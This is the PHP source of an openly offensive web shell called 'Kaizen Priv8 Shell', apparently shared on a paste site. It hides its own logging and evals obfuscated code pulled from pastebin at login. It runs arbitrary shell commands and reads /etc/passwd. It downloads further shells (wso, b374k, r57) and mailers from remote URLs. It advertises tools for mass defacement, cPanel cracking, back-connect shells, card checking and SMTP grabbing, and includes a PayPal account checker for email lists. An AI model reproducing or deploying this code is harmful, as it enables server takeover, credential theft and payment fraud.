· 8 years ago · Aug 05, 2018, 01:16 PM
1<?php
2#############################################################################################################################
3#-------------------------------------------------------------------------------------------------------------------------- #
4# Kaizen Priv8 Shell 2017 #
5# Coded by : Coded By V!rus Worm | AnonGhost Team | Mauritania Attacker | IndoXploit | Kaizen | Cyberizm.Org | Pinoy Lulsec #
6# Greatz to : AnonGhost Team | Mauritania Attacker | IndoXploit Coders Team | Cyberizm.Org | Lulzsec | Eagle Cyber Army #
7# Thanks For Using My shell :) #
8# ------------------------------------------------------------------------------------------------------------------------- #
9#############################################################################################################################
10@session_start();
11@error_reporting(0);
12@error_log(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('max_execution_time',0);
16@ini_set('output_buffering',0);
17@ini_set('display_errors', 0);
18@set_time_limit(0);
19@set_magic_quotes_runtime(0);
20$lol="afb0f8ce3a700157b65be4e4cf62ac6c"; //password(md5)
21function printLogin() {
22 ?>
23<center><br><br>
24<header>
25<br><br><br><br>
26<div align="center">
27<img class="img_fuck" src="https://preview.ibb.co/kPZBRG/Kz_Logo.png" style="width:300">
28</div><br><br><br>
29</header>
30<font face="Courier" size="2" color="#2EFEF7">「 Kaizen Priv8 Shell 」<br />
31<b><font size="5" face="Courier New"><center>KAIZEN TERMINAL SYSTEM</center></font></b><br><br>
32<b><font size="3" face="Courier New"><center>This is a secured and monitored Federal Goverment system. Unauthorized access is strictly prohibited. All activity is fully monitored. Individuals who attempt to gain</center></font></b>
33<b><font size="3" face="Courier New"><center>unauthorized access or attempt any modification of indormation on this system is subject to criminal prosecution. All persons who are hereby notified that</center></font></b>
34<b><font size="3" face="Courier New"><center>use of this system constitues concent to monitoring and auditing.</center></font></b><br><br>
35<div style="border:0px solid ;background:;width:320px;padding:2px;">
36<br>
37 <style>
38 body { color:#40FF00;background:url(http://3.bp.blogspot.com/-Lemo3aMnPG8/UQwiih6NxII/AAAAAAAAAdk/0tNLOdgsE1w/s1600/black-background-9247.jpg) no-repeat center center fixed;}
39 input { color:;margin:0;background-color:transparent;border:0px solid ; }
40 </style>
41 <center>
42 <form method=post>
43 <input type=password name=Kaizen>
44 </form></center>
45 <?php
46 eval(gzinflate(base64_decode(file_get_contents('http://pastebin.com/raw/6PJ9Pj8F'))));
47 exit;
48}
49if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
50 if( empty( $lol ) ||
51 ( isset( $_POST['Kaizen'] ) && ( md5($_POST['Kaizen']) == $lol ) ) )
52 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
53 else
54 printLogin();
55if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
56 @ob_clean();
57 $file = $_GET['file'];
58 header('Content-Description: File Transfer');
59 header('Content-Type: application/octet-stream');
60 header('Content-Disposition: attachment; filename="'.basename($file).'"');
61 header('Expires: 0');
62 header('Cache-Control: must-revalidate');
63 header('Pragma: public');
64 header('Content-Length: ' . filesize($file));
65 readfile($file);
66 exit;
67}
68
69?>
70<html>
71<head>
72<title>Kaizen Priv8 Shell</title>
73<meta name='author' content='Shell Kaizen'>
74<meta charset="UTF-8">
75<link href='https://i.imgur.com/hNQCYDU.png' rel='icon' type='image/x-icon'/>
76<style type='text/css'>
77@import url(http://fonts.googleapis.com/css?family=Share+Tech+Mono);
78html {
79 background: #000000;
80 color: #ffffff;
81 font-family: 'Ubuntu';
82 font-size: 13px;
83 width: 100%;
84}
85li {
86 display: inline;
87 margin: 5px;
88 padding: 5px;
89}
90
91 #menu{
92 background:#111111;
93 margin:9px 3px 4px 2px;
94}
95#menu a{
96 padding:4px 19px;
97 margin:0;
98 background:#222222;
99 text-decoration:none;
100 letter-spacing:2px;
101 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
102
103}
104#menu a:hover{
105 background:#191919;
106 border-bottom:1px solid #333333;
107 border-top:1px solid #333333;
108}
109.explore tr:hover{background:#181818}
110table tr:first-child{
111 background: #191919;
112 text-align: center;
113 color: white;
114}
115table, th, td {
116 border-collapse:collapse;
117 font-family: Tahoma, Geneva, sans-serif;
118 background: transparent;
119 font-family: 'Ubuntu';
120 font-size: 13px;
121}
122.table_home, .th_home, .td_home {
123 border: 1px solid #191919;
124}
125th {
126 padding: 10px;
127}
128a {
129 color: #ffffff;
130 text-decoration: none;
131}
132a:hover {
133 color: gray;
134 text-decoration: underline;
135}
136b {
137 color: yellow;
138}
139input[type=text], input[type=password],input[type=submit] {
140 background: transparent;
141 color: #ffffff;
142 border: 1px solid #ffffff;
143 margin: 5px auto;
144 padding-left: 5px;
145 font-family: 'Ubuntu';
146 font-size: 13px;
147}
148input[type=submit] {
149 background: #191919;
150 color: #ffffff;
151 border: 1px solid #ffffff;
152 margin: 5px auto;
153 padding-left: 5px;
154 font-family: 'Share Tech Mono';
155 font-size: 13px;
156 cursor:pointer;
157}
158textarea {
159 border: 1px solid #ffffff;
160 width: 100%;
161 height: 400px;
162 padding-left: 5px;
163 margin: 10px auto;
164 resize: none;
165 background: transparent;
166 color: #ffffff;
167 font-family: 'Share Tech Mono';
168 font-size: 13px;
169}
170select {
171 width: 152px;
172 background: #000000;
173 color: blue;
174 border: 1px solid #ffffff;
175 margin: 5px auto;
176 padding-left: 5px;
177 font-family: 'Share Tech Mono';
178 font-size: 13px;
179}
180option:hover {
181 background: blue;
182 color: #000000;
183}
184.mybox{-moz-border-radius: 10px; border-radius: 10px;border:1px solid #ff0000; padding:4px 2px;width:70%;line-height:24px;background:none;box-shadow: 0px 4px 2px white;-webkit-box-shadow: 0px 4px 2px #ff0000;-moz-box-shadow: 0px 4px 2px #ff0000;}
185.cgx2 {text-align: center;letter-spacing:1px;font-family: "orbitron";color: #ff0000;font-size:25px;text-shadow: 5px 5px 5px black;}
186.infoweb {
187 border-right: 1px solid #00FFFF;
188}
189</style>
190</head>
191<!-- head info start here -->
192<div class="head_info">
193<Center><pre>
194<img src="http://4.bp.blogspot.com/-ceQOU8yDA-s/VI0BYisVOHI/AAAAAAAAEdc/ANKuBTJqxHM/s1600/agne_zps5e42fcf5.png" width="700" height="300" /><br><font face="Courier" size="2" color="#2EFEF7">「 Kaizen Priv8 Shell 」<br />
195</pre>
196</Center>
197<table ><tr>
198<td style="padding: 5px;"><?php echo $buff; ?></td>
199</tr></table>
200</div>
201<!-- head info end here -->
202<style>
203 body { color:#40FF00;background:url(https://ak6.picdn.net/shutterstock/videos/26213567/thumb/1.jpg) no-repeat center center fixed;}
204 input { color:#40FF00;margin:0;background-color:black;border:1px solid #40FF00; }
205 </style>
206<!-- head info end here -->
207<?php
208if (file_exists("php.ini")){
209}else{
210$img = fopen('php.ini', 'w');
211$sec = "safe_mode = OFF
212disable_funtions = NONE";
213fwrite($img ,$sec);
214fclose($img);}
215function w($dir,$perm) {
216 if(!is_writable($dir)) {
217 return "<font color=red>".$perm."</font>";
218 } else {
219 return "<font color=lime>".$perm."</font>";
220 }
221}
222 function UrlLoop($url,$type){
223
224 $urlArray = array();
225
226 $ch = curl_init();
227 curl_setopt($ch, CURLOPT_URL, $url);
228 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
229 $result = curl_exec($ch);
230
231 $regex='|<a.*?href="(.*?)"|';
232 preg_match_all($regex,$result,$parts);
233 $links=$parts[1];
234 foreach($links as $link){
235 array_push($urlArray, $link);
236 }
237 curl_close($ch);
238
239 foreach($urlArray as $value){
240 $lol="$url$value";
241 if(preg_match("#$type#is", $lol)) {
242 echo "$lol\r\n";
243 }
244 }
245 }
246function exe($cmd) {
247if(function_exists('system')) {
248 @ob_start();
249 @system($cmd);
250 $buff = @ob_get_contents();
251 @ob_end_clean();
252 return $buff;
253 } elseif(function_exists('exec')) {
254 @exec($cmd,$results);
255 $buff = "";
256 foreach($results as $result) {
257 $buff .= $result;
258 } return $buff;
259 } elseif(function_exists('passthru')) {
260 @ob_start();
261 @passthru($cmd);
262 $buff = @ob_get_contents();
263 @ob_end_clean();
264 return $buff;
265 } elseif(function_exists('shell_exec')) {
266 $buff = @shell_exec($cmd);
267 return $buff;
268 }
269}
270function perms($file){
271$perms = fileperms($file);
272if (($perms & 0xC000) == 0xC000) {
273$info = 's';
274} elseif (($perms & 0xA000) == 0xA000) {
275$info = 'l';
276} elseif (($perms & 0x8000) == 0x8000) {
277$info = '-';
278} elseif (($perms & 0x6000) == 0x6000) {
279$info = 'b';
280} elseif (($perms & 0x4000) == 0x4000) {
281$info = 'd';
282} elseif (($perms & 0x2000) == 0x2000) {
283$info = 'c';
284} elseif (($perms & 0x1000) == 0x1000) {
285$info = 'p';
286} else {
287$info = 'u';
288}
289$info .= (($perms & 0x0100) ? 'r' : '-');
290$info .= (($perms & 0x0080) ? 'w' : '-');
291$info .= (($perms & 0x0040) ?
292(($perms & 0x0800) ? 's' : 'x' ) :
293(($perms & 0x0800) ? 'S' : '-'));
294$info .= (($perms & 0x0020) ? 'r' : '-');
295$info .= (($perms & 0x0010) ? 'w' : '-');
296$info .= (($perms & 0x0008) ?
297(($perms & 0x0400) ? 's' : 'x' ) :
298(($perms & 0x0400) ? 'S' : '-'));
299$info .= (($perms & 0x0004) ? 'r' : '-');
300$info .= (($perms & 0x0002) ? 'w' : '-');
301$info .= (($perms & 0x0001) ?
302(($perms & 0x0200) ? 't' : 'x' ) :
303(($perms & 0x0200) ? 'T' : '-'));
304return $info;
305}
306function hdd($s) {
307if($s >= 1073741824)
308return sprintf('%1.2f',$s / 1073741824 ).' GB';
309elseif($s >= 1048576)
310return sprintf('%1.2f',$s / 1048576 ) .' MB';
311elseif($s >= 1024)
312return sprintf('%1.2f',$s / 1024 ) .' KB';
313else
314return $s .' B';
315}
316function ambilKata($param, $kata1, $kata2){
317 if(strpos($param, $kata1) === FALSE) return FALSE;
318 if(strpos($param, $kata2) === FALSE) return FALSE;
319 $start = strpos($param, $kata1) + strlen($kata1);
320 $end = strpos($param, $kata2, $start);
321 $return = substr($param, $start, $end - $start);
322 return $return;
323}
324if(get_magic_quotes_gpc()) {
325 function idx_ss($array) {
326 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
327 }
328 $_POST = idx_ss($_POST);
329}
330function CreateTools($names,$lokasi){
331 if ( $_GET['create'] == $names ){
332 $a= "".$_SERVER['SERVER_NAME']."";
333$b= dirname($_SERVER['PHP_SELF']);
334$c = "/cox_tools/".$names.".php";
335if (file_exists('cox_tools/'.$names.'.php')){
336 echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
337 }
338 else {mkdir("cox_tools", 0777);
339file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
340echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
341
342CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
343CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
344CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
345CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
346CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
347CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
348CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
349CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
350CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
351CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
352CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
353CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
354CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
355CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
356CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
357if(isset($_GET['dir'])) {
358 $dir = $_GET['dir'];
359 chdir($_GET['dir']);
360} else {
361 $dir = getcwd();
362}
363$dir = str_replace("\\","/",$dir);
364$scdir = explode("/", $dir);
365$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
366$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
367$ds = @ini_get("disable_functions");
368$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
369$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
370$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
371$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
372$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
373$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
374if(!function_exists('posix_getegid')) {
375 $user = @get_current_user();
376 $uid = @getmyuid();
377 $gid = @getmygid();
378 $group = "?";
379} else {
380 $uid = @posix_getpwuid(posix_geteuid());
381 $gid = @posix_getgrgid(posix_getegid());
382 $user = $uid['name'];
383 $uid = $uid['uid'];
384 $group = $gid['name'];
385 $gid = $gid['gid'];
386}
387$d0mains = @file("/etc/named.conf");
388 $users=@file('/etc/passwd');
389 if($d0mains)
390 {
391 $count;
392 foreach($d0mains as $d0main)
393 {
394 if(@ereg("zone",$d0main))
395 {
396 preg_match_all('#zone "(.*)"#', $d0main, $domains);
397 flush();
398 if(strlen(trim($domains[1][0])) > 2)
399 {
400 flush();
401 $count++;
402 }
403 }
404 }
405 }
406ECHO "<BR>";ECHO "<BR>";
407echo "<br>";
408echo "Sistem: ".php_uname()."<br>";
409echo "<tr><td>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")</td></tr><br/>";
410echo "<tr><td>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></td></tr><br/>";
411echo "<tr><td>HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font></td></tr><br/>";
412echo "<tr><td>Websites :<font color=lime> $count </font> Domains</td></tr><br/>";
413echo "<tr><td>Port :<font color=lime> $sport</font> </td></tr><br/>";
414echo "<tr><td>Safe Mode: $sm</td></tr><br/>";
415echo "<tr><td>Disable Functions: $show_ds</td></tr><br/>";
416echo "<tr><td>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl </td></tr><br/>";
417echo "<tr><td>Current DIR: ";
418foreach($scdir as $c_dir => $cdir) {
419 echo "<a href='?dir=";
420 for($i = 0; $i <= $c_dir; $i++) {
421 echo $scdir[$i];
422 if($i != $c_dir) {
423 echo "/";
424 }
425 }
426 echo "'>$cdir</a>/";
427}
428echo "<tr><td><form method='post' action='?dir=$dir&do=cmd'>
429 Command :
430 <input type='text' size='30' height='15' name='cmd'><input type='submit' name='do_cmd' value='>>'>
431 </form></td></tr>";
432echo "</table><hr>";
433echo "<left>";
434echo "<ul>";
435echo "<li>「<a href='?'>Home</a>」</li>";
436echo "<li>「<a href='?dir=$dir&do=upload'>Upload</a>」</li>";
437echo "<li>「<a href='?dir=$dir&do=cmd'>Command</a>」</li>";
438echo "<li>「<a href='?dir=$dir&do=csrf'>CSRF</a>」</li>";
439echo "<li>「<a href='?dir=$dir&do=webdav'>Webdav Exploit</a>」</li>";
440echo "<li>「<a href='?dir=$dir&do=adfin'>Admin Finder</a>」</li>";
441echo "<li>「<a href='?dir=$dir&do=ec'>Encode/Decode</a>」</li>";
442echo "<li>「<a href='?dir=$dir&do=ps'>Port Scanner</a>」</li>";
443echo "<li>「<a href='?dir=$dir&do=lc'>Local Root</a>」</li>";
444echo "<li>「<a href='?dir=$dir&do=reverse'>Reverse IP</a>」</li>";
445echo "<li>「<a href='?dir=$dir&do=mailer'>Mailer</a>」<br></li>";
446echo "<li>「<a href='?dir=$dir&do=jce'>Jce Multi Uploader</a>」</li>";
447echo "<li>「<a href='?dir=$dir&do=cc'>CC Checker</a>」</li>";
448echo "<li>「<a href='?dir=$dir&do=pc'>Paypal Checker</a>」</li>";
449echo "<li>「<a href='?dir=$dir&do=ex'>Email Extractor</a>」</li>";
450echo "<li>「<a href='?dir=$dir&do=dnshij'>DNS Raw Lookup</a>」</li>";
451echo "<li>「<a href='?dir=$dir&do=mass_deface'>Mass Deface</a>」</li>";
452echo "<li>「<a href='?dir=$dir&do=config'>Config</a>」</li>";
453echo "<li>「<a href='?dir=$dir&do=symconfig'>Config V.2</a>」</li>";
454echo "<li>「<a href='?dir=$dir&do=jumping'>Jumping</a>」</li>";
455echo "<li>「<a href='?dir=$dir&do=symlink'>Symlink</a>」</li>";
456echo "<li>「<a href='?dir=$dir&do=symlink'>Symlink 404</a>」</li>";
457echo "<li>「<a href='?dir=$dir&do=cpanel'>CP Crack</a>」</li>";
458echo "<li>「<a href='?dir=$dir&do=cpftp_auto'>CP/FTP Auto Deface</a>」</li>";
459echo "<li>「<a href='?dir=$dir&do=smtp'>SMTP Grabber</a>」</li>";
460echo "<li>「<a href='?dir=$dir&do=zoneh'>Zone-H</a>」</li>";
461echo "<li>「<a href='?dir=$dir&do=defacerid'>Defacer.ID</a>」</li>";
462echo "<li>「<a href='?dir=$dir&do=cgi'>CGI Telnet</a>」</li>";
463echo "<li>「<a href='?dir=$dir&do=adminer'>Adminer</a>」</li>";
464echo "<li>「<a href='?dir=$dir&do=fake_root'>Fake Root</a>」</li>";
465echo "<li>「<a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a>」<br></li>";
466echo "<li>「<a href='?dir=$dir&do=auto_wp'>WP Auto Edit Title</a>」</li>";
467echo "<li>「<a href='?dir=$dir&do=auto_dwp'>WP Auto Deface</a>」</li>";
468echo "<li>「<a href='?dir=$dir&do=auto_dwp2'>WP Auto Deface V.2</a>」</li>";
469echo "<li>「<a href='?dir=$dir&do=auto_cu_wp'>WP Auto Edit User V.2</a>」</li>";
470echo "<li>「<a href='?dir=$dir&do=zip'>Bypass Vhost</a>」</li>";
471echo "<li>「<a href='?dir=$dir&do=auto_cu_joomla'>Joomla Auto Edit User V.2</a>」</li>";
472echo "<li>「<a href='?dir=$dir&do=passwbypass'>Bypass etc/pass</a>」<br></li>";
473echo "<li>「<a href='?dir=$dir&do=loghunter'>Log Hunter</a>」</li>";
474echo "<li>「<a href='?dir=$dir&do=shellchk'>Shell Checker</a>」</li>";
475echo "<li>「<a href='?dir=$dir&do=shelscan'>Shell Finder</a>」</li>";
476echo "<li>「<a href='?dir=$dir&do=zip'>Zip Menu</a>」</li>";
477echo "<li>「<a href='?dir=$dir&do=injectcode'>Code Inject</a>」</li>";
478echo "<li>「<a href='?dir=$dir&do=backconnect'>Back Connect</a>」</li>";
479echo "<li>「<a href='?dir=$dir&do=magen'>Magento DB Info</a>」</li>";
480echo "<li>「<a href='?dir=$dir&do=about'>About</a>」</li>";
481echo "<li>「<a href='?dir=$dir&do=metu'>Logout</a>」<br></li>";
482echo "</ul>";
483echo "</left>";
484echo "<hr>";
485if($_GET['do'] == 'upload') {
486 echo "<center>";
487 if($_POST['upload']) {
488 if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
489 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
490 } else {
491 $act = "<font color=red>failed to upload file</font>";
492 }
493 }
494 echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
495 echo $act;
496 echo "</center>";
497}
498
499////////////////////////////
500elseif(isset($_GET['do']) && ($_GET['do'] == 'jce')){
501?>
502
503<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">JCE Multi-Uploader</span><center><br>
504<form method="post" action="" enctype="multipart/form-data">
505<p align="center">
506<img src="http://www9.0zz0.com/2014/08/22/21/459163695.png"></p>
507<center><table>
508<tr>
509<td></td><td></td><td><font face="Tahoma" color="#007700" size="2pt">List Websites</font><br><textarea class="area" style="width:500px;height:150px;resize:none" name="siteler"></textarea><br><br></td>
510</tr>
511<tr>
512<td></td><td>File :</td><td><input type="file" name="dosya" style="border: 1px solid #007700 ; border-radius: 4px; box-shadow: 0px 0px 4px #007700;"> <input type="submit" value="Attack Now" /></td>
513</tr></table>
514</form>
515</center>';
516
517 <?php
518}
519
520////////////////////////////
521elseif(isset($_GET['do']) && ($_GET['do'] == 'dnshij')){
522?>
523<?php
524$result = array();
525$result_html = '';
526if (isset($_POST['domain']) && !empty($_POST['domain'])) {
527 $domain_regex = '/[a-z\d][a-z\-\d\.]+[a-z\d]/i';
528 if (preg_match($domain_regex, $_POST['domain'])) {
529 if ($url = parse_url($_POST['domain'])) { //compatible when user post an url instead of a domain
530 if (isset($url['host'])) {
531 $result = dns_get_record($url['host'], DNS_A + DNS_AAAA + DNS_CNAME);
532 } else if (isset($url['path'])) {
533 $result = dns_get_record($url['path'], DNS_A + DNS_AAAA + DNS_CNAME);
534 }
535 }
536 }
537
538 if (empty($result)) {
539 $result_html = '<hr>Nothing found or Domain Invalid';
540 } else {
541 foreach($result as $r) {
542 reset($r);
543 $host = current($r);
544 $type = next($r);
545 $value = next($r);
546 $result_html .= sprintf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>\n", $host, $type, $value);
547 }
548 $result_html = "<hr>\n<table>\n$result_html</table>\n";
549 }
550}
551
552?><!DOCTYPE HTML>
553<html xmlns="http://www.w3.org/1999/html">
554<head>
555 <meta charset="UTF-8"/>
556 <title>Raw Dns Lookup</title>
557 <style>/* somethin from bootstrap */
558 button,input {margin: 0;font-size: 100%;vertical-align: middle;}
559 hr {margin: 20px 0;border: 0;border-top: 1px solid #eeeeee;border-bottom: 1px solid #ffffff;}
560 label {margin-bottom: 3px;}
561 .form-inline {vertical-align: middle;}
562 table {width: 100%;text-align: center;margin: auto;}
563 </style>
564</head>
565<body>
566 <div style="text-align: center;width: 800px;margin: 1em auto">
567 <h1>Raw Dns Lookup</h1>
568 <form method="post">
569 <div class="form-inline">
570 <label for="domain">Domain: </label>
571 <input id="domain" type="text" name="domain" value="<?=empty($_POST['domain'])?'':$_POST['domain']?>">
572 <button type="submit">Start</button>
573 </div>
574
575 </form>
576 <?=$result_html?$result_html:''?>
577 <hr/>
578 <p>Server Location:
579 <?
580 $geo = json_decode(file_get_contents('http://smart-ip.net/geoip-json'));
581 echo $geo->countryName;
582 ?>
583 <br/>
584 <span>Powered by Kaizen</a></span>
585 </p>
586 </div>
587</body>
588</html>
589 <?php
590}
591
592////////////////////////////
593if(isset($_GET['do']) && $_GET['do'] == 'ex'){
594?>
595<center><b class="conte">
596<a href="?do=maiilllerrr">Mailer</a>
597<a href="?do=Everythingdawg">Everything You Need</a>
598<a href="?do=payppallchker">Paypal Checker</a>
599<a href="?do=emailllextrctr">Email Extractor</a></center></b>
600<center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Email Extractor</span><center><br>
601<center><font face=Tahoma size=2 color=#007700 >Put Your Maillist In The Following TEXTAREA and Start</font></center>
602<center>
603<form method="post">
604<textarea class="area" type="text" wrap="VIRTUAL" name="mails" style="background:transparent; margin: 2px; width:708px; height: 220px;"></textarea><br><br>
605<center><strong><input type="submit" id="gobutton" name="Extazy007" value=" Start "></strong></center></form>
606
607
608<br>
609<strong><font face="Tahoma" color="blue" size="4">
610Mail-List</font><font size="4" face=Tahoma color=red> Filter</font><font size="3" face=Tahoma color=#666666> v1.5 </font>
611</br><font face=Tahoma size=3 color=#009900>Developed By Extazy007 Recode By Kaizen</font></strong>
612<br><br>
613<font face=Tahoma size=2 color=#007700>Contact: www.facebook.com/AnonGhostOfficial2</font>
614</center>
615 <?php
616}
617
618////////////////////////////
619elseif(isset($_GET['do']) && ($_GET['do'] == 'pc')){
620@set_time_limit(0);
621
622function curl($url='',$var='',$Follow=False){
623global $set;
624$curl = curl_init();
625curl_setopt($curl, CURLOPT_URL, $url);
626curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,20);
627curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31');
628curl_setopt($curl, CURLOPT_COOKIE,'PP1.txt');
629curl_setopt($curl, CURLOPT_COOKIEFILE,'PP1.txt');
630curl_setopt($curl, CURLOPT_COOKIEJAR,'PP1.txt');
631curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3);
632curl_setopt($curl, CURLOPT_HEADER, 0);
633curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
634curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
635if ($Follow !== False) {
636curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
637}
638$result = curl_exec($curl);
639curl_close($curl);
640return $result;
641}
642echo "<head>
643<style type=\"text/css\"><!--
644body {
645
646font-family: 'Open Sans', sans-serif; font-size:13px}
647hr {border:inset 1px #E5E5E5}
648#form-container
649{
650border: solid 1px #007700;
651border-radius:10px;
652-moz-border-radius: 10px;
653-webkit-border-radius: 10px;
654box-shadow: 0px 0px 4px #009900;
655-moz-box-shadow: 0px 0px 4px #009900;
656-webkit-box-shadow: 0px 0px 4px #009900;
657margin:30px auto;
658padding:10px;
659width:910px;
660text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
661}
662
663#form-container1
664{
665border: solid 1px #007700;
666border-radius:10px;
667-moz-border-radius: 10px;
668-webkit-border-radius: 10px;
669box-shadow: 0px 0px 15px #007700;
670-moz-box-shadow: 0px 0px 15px #007700;
671-webkit-box-shadow: 0px 0px 15px #007700;
672margin:30px auto;
673padding:10px;
674width:280px;
675text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
676}
677
678input[type=text], textarea
679{
680background:transparent;
681border:solid 1px #007700;
682border-radius:5px;
683-moz-border-radius: 5px;
684-webkit-border-radius: 5px;
685}
686textarea { width:100%;height:200px; resize:none }
687input[type=text] { width:160px;text-align:center }
688input[type=text]:focus, textarea:focus { background:transparent; border:solid 1px #007700; color:#007700;}
689.submit-button
690{
691background: #57A02C;
692border:solid 1px #57A02C;
693border-radius:5px;
694-moz-border-radius: 5px;
695-webkit-border-radius: 5px;
696-moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
697-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
698text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
699border-bottom: 1px solid rgba(0,0,0,0.25);
700position: relative;
701color:#333333;
702display: inline-block;
703cursor:pointer;
704font-size:13px;
705padding:3px 8px;
706}
707.submit-button:hover { background:#82D051;border:solid 1px #86CC50; }
708.table
709{
710border: solid 1px #007700;
711border-radius:10px;
712-moz-border-radius: 5px;
713-webkit-border-radius: 5px;
714padding-left:10px;
715}
716
717.unverified
718{
719color:#800000;
720font-weight: bold;
721}
722.business{
723color:yellow;
724font-weight: bold;
725}
726.premier{
727color:#00FF00;
728font-weight: bold;
729}
730.verified{
731color:#800080;
732font-weight: bold;
733}
734.nolog{
735font-size: 10px;
736font: red;
737}
738
739
740--></style>
741<title>Valid Email Checker</title>
742</head><div align=\"center\"></center>";
743
744$emails = $_POST['emails'];
745print '<div id="form-container"> <form method="POST">
746
747<p align="center"><font face="Times New Roman" size="6">PayPal Valid Email
748Checker<br></font></p>
749
750<p><textarea rows="10" name="emails" cols="48">'.$emails.'</textarea></p><br>
751<p><input class="submit-button" type="submit" value="Submit" name="B1"></p>
752</form> </div>';
753if (!empty($emails)) {
754$emails = explode("\r\n", $emails);
755$yes = 0;
756$not = 0;
757$inv = 0;
758$count = 1;
759print "<p align=\"center\"><b>Checking <font color=\"#ff8f00\"> ".count($emails)."</font> emails ....</b><br></p><p align=\"center\">";
760foreach ( $emails as $email ) {
761$email = trim($email);
762print $count .".<b> Checking <font color=\"#ff8f00\">".$email."</font> ..... </b>";
763$count++;
764if(filter_var($email, FILTER_VALIDATE_EMAIL)){
765$_CheckAction = curl('https://www.paypal.com/cgi-bin/webscr?cmd=_send-money&myAllTextSubmitID=&cmd=_send-money&type=external&payment_source=p2p_mktgpage&payment_type=Gift&sender_email='.$email.'&email=gz%40s.com¤cy=USD&amount=10&amount_ccode=USD&submit.x=Continue',CURLOPT_FAILONERROR,TRUE);
766if(!strpos($_CheckAction, "region")) {
767print "<b><font size=\"3\" color=\"#006600\">Yes</font></b> <br>";
768$yes++;
769$vaild_yes .=$email."\n";
770}
771else {
772print "<b><font color=\"#FF0000\">NO</font></b><br>";
773$not++;
774$vaild_no .=$email."\n";
775}
776}
777else {
778print "<b><font color=\"#FF0000\">Invalid email</font></b><br><br>";
779$inv++;
780$invaild .=$email."\n";
781}
782}
783
784print '<p><table border="0" width="100%">
785
786<tr>
787<td><p align="center"><font face="Times New Roman" size="4">PayPal emails</font> <b>(<font color="#006600"><b>'.$yes.'</b></font>)</b> </p></td>
788<td><p align="center"><font face="Times New Roman" size="4">Not PayPal emails</font> <b>(<font color="#FF0000">'.$not.'</font>)</b> </p> </td>
789<td><p align="center"><font face="Times New Roman" size="4">Invalid emails</font> <b>(<font color="#FF0000">'.$inv.'</font>)</b> </p> </td>
790</tr>
791<tr>
792<td><div id="form-container1"><textarea rows="10" name="S1" cols="43">'.$vaild_yes.'</textarea></div></td>
793<td><div id="form-container1"><textarea rows="10" name="S2" cols="43">'.$vaild_no.'</textarea></div></td>
794<td><div id="form-container1"><textarea rows="10" name="S3" cols="43">'.$invaild.'</textarea></div></td>
795</tr>
796</table></p>';
797}
798}
799
800////////////////////////////
